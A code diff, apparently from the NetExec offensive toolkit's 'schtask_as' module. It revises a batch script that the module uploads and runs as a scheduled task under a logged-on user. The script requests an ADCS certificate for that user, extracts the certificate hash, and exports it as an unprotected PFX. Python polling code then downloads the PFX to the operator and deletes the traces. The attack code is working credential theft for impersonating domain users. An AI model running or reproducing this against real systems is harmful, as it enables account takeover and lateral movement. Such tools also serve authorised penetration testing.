@@ -18,6 +18,7 @@ class NXCModule:
1818 Modified by @Defte_ so that we can upload a custom binary to execute using the BINARY option (28/04/2025)
1919 Modified by @SGMG11 to execute the task without output
2020 Modified by @Defte_ to add certificate request on behalf of someone options
21+ Modified by @Azoxlpf to improve ADCS certificate handling and PFX retrieval (17/10/2025)
2122 """
2223 name = "schtask_as"
2324 description = "Remotely execute a scheduled task as a logged on user"
@@ -90,31 +91,35 @@ def on_admin_login(self, context, connection):
9091
9192 tmp_share = self .share .replace ("$" , ":" )
9293 full_path_prefixed_file = f"{ tmp_share } \\ { self .output_file_location } \\ { self .output_filename } "
93- batch_file = BytesIO (dedent (f """
94+ batch_file = BytesIO (dedent (rf """
9495 @echo off
9596 setlocal enabledelayedexpansion
9697
97- certreq -new { full_path_prefixed_file } .inf { full_path_prefixed_file } .req > nul
98- certreq -submit -config { self .ca_name } { full_path_prefixed_file } .req { full_path_prefixed_file } .cer > nul
99-
98+ set "BASE={ full_path_prefixed_file } "
99+ certreq -new "%BASE%.inf" "%BASE%.req" > nul
100+ certreq -submit -config "{ self .ca_name } " "%BASE%.req" "%BASE%.cer" > nul
101+ certutil -user -addstore my "%BASE%.cer" > nul
100102 set "HASH="
103+ for /f "tokens=2 delims=:" %%A in ('
104+ certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
105+ ') do (
106+ set "tmp=%%A"
107+ set "tmp=!tmp: =!"
108+ set "HASH=!tmp!"
109+ )
101110
102- for /f "usebackq tokens=* delims=" %%L in (`certreq -accept { full_path_prefixed_file } .cer`) do (
103- set "line=%%L"
104-
105- for /f "tokens=2* delims=:" %%X in ("!line!") do (
106- set "candidate=%%X"
107- set "candidate=!candidate:~1!"
108- echo !candidate! | findstr /R "^[0-9A-Fa-f][0-9A-Fa-f]*" > nul
109- if not errorlevel 1 (
110- if "!candidate:~40!"=="" (
111- set "HASH=!candidate!"
112- certutil -user -exportPFX -p "" !HASH! { full_path_prefixed_file } .pfx > nul
113- )
114- )
115- )
111+ if "!HASH!"=="" (
112+ exit /b 1
113+ )
114+ certutil -user -repairstore my !HASH! > nul 2>&1
115+ certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
116+ certutil -user -delstore my !HASH! > nul 2>&1
117+
118+ if exist "%BASE%.pfx" (
119+ exit /b 0
120+ ) else (
121+ exit /b 2
116122 )
117- exit
118123 """ ).encode ())
119124 connection .conn .putFile (self .share , f"{ self .output_file_location } \\ { self .output_filename } .bat" , batch_file .read )
120125 self .logger .success ("Upload batch file successfully" )
@@ -217,19 +222,36 @@ def on_admin_login(self, context, connection):
217222 self .logger .fail (f"Error deleting { self .output_file_location } { self .binary_to_upload_name } on { self .share } : { e } " )
218223
219224 if self .ca_name and self .template_name :
220-
221225 dump_path = path .join (NXC_PATH , "modules/schtask_as" )
222226 if not path .isdir (dump_path ):
223227 makedirs (dump_path )
224228
225- # This sleep is required as the computing of the pfx file takes some time
226- sleep (2 )
227- with open (path .join (dump_path , f"{ self .run_task_as } .pfx" ), "wb+" ) as dump_file :
229+ pfx_local_path = path .join (dump_path , f"{ self .run_task_as } .pfx" )
230+ pfx_remote_path = f"{ self .output_file_location } \\ { self .output_filename } .pfx"
231+
232+ # Polling loop to wait for the PFX to be ready (avoid fixed sleep)
233+ pfx_fetched = False
234+ last_exception = None
235+ max_wait_seconds = 15
236+ self .logger .debug (f"Waiting up to { max_wait_seconds } s for remote PFX: { pfx_remote_path } " )
237+ for second in range (max_wait_seconds ):
228238 try :
229- connection .conn .getFile (self .share , f"{ self .output_file_location } \\ { self .output_filename } .pfx" , dump_file .write )
239+ # try to download; open local file only on success
240+ with open (pfx_local_path , "wb+" ) as dump_file :
241+ connection .conn .getFile (self .share , pfx_remote_path , dump_file .write )
242+ pfx_fetched = True
230243 self .logger .success (f"PFX file stored in { dump_path } /{ self .run_task_as } .pfx" )
244+ break
231245 except Exception as e :
232- self .logger .fail (f"Error while getting { self .output_file_location } \\ { self .output_filename } .pfx: { e } " )
246+ last_exception = e
247+ # not ready yet (or other transient error) — sleep and retry
248+ if second % 5 == 0 :
249+ # log every 5s to avoid spamming
250+ self .logger .debug (f"PFX not available yet (attempt { second + 1 } /{ max_wait_seconds } ): { e } " )
251+ sleep (1 )
252+
253+ if not pfx_fetched :
254+ self .logger .fail (f"Timed out after { max_wait_seconds } s waiting for { pfx_remote_path } . Last error: { last_exception } " )
233255
234256 for ext in [".bat" , ".inf" , ".cer" , ".req" , ".rsp" , ".pfx" , "" ]:
235257 try :
0 commit comments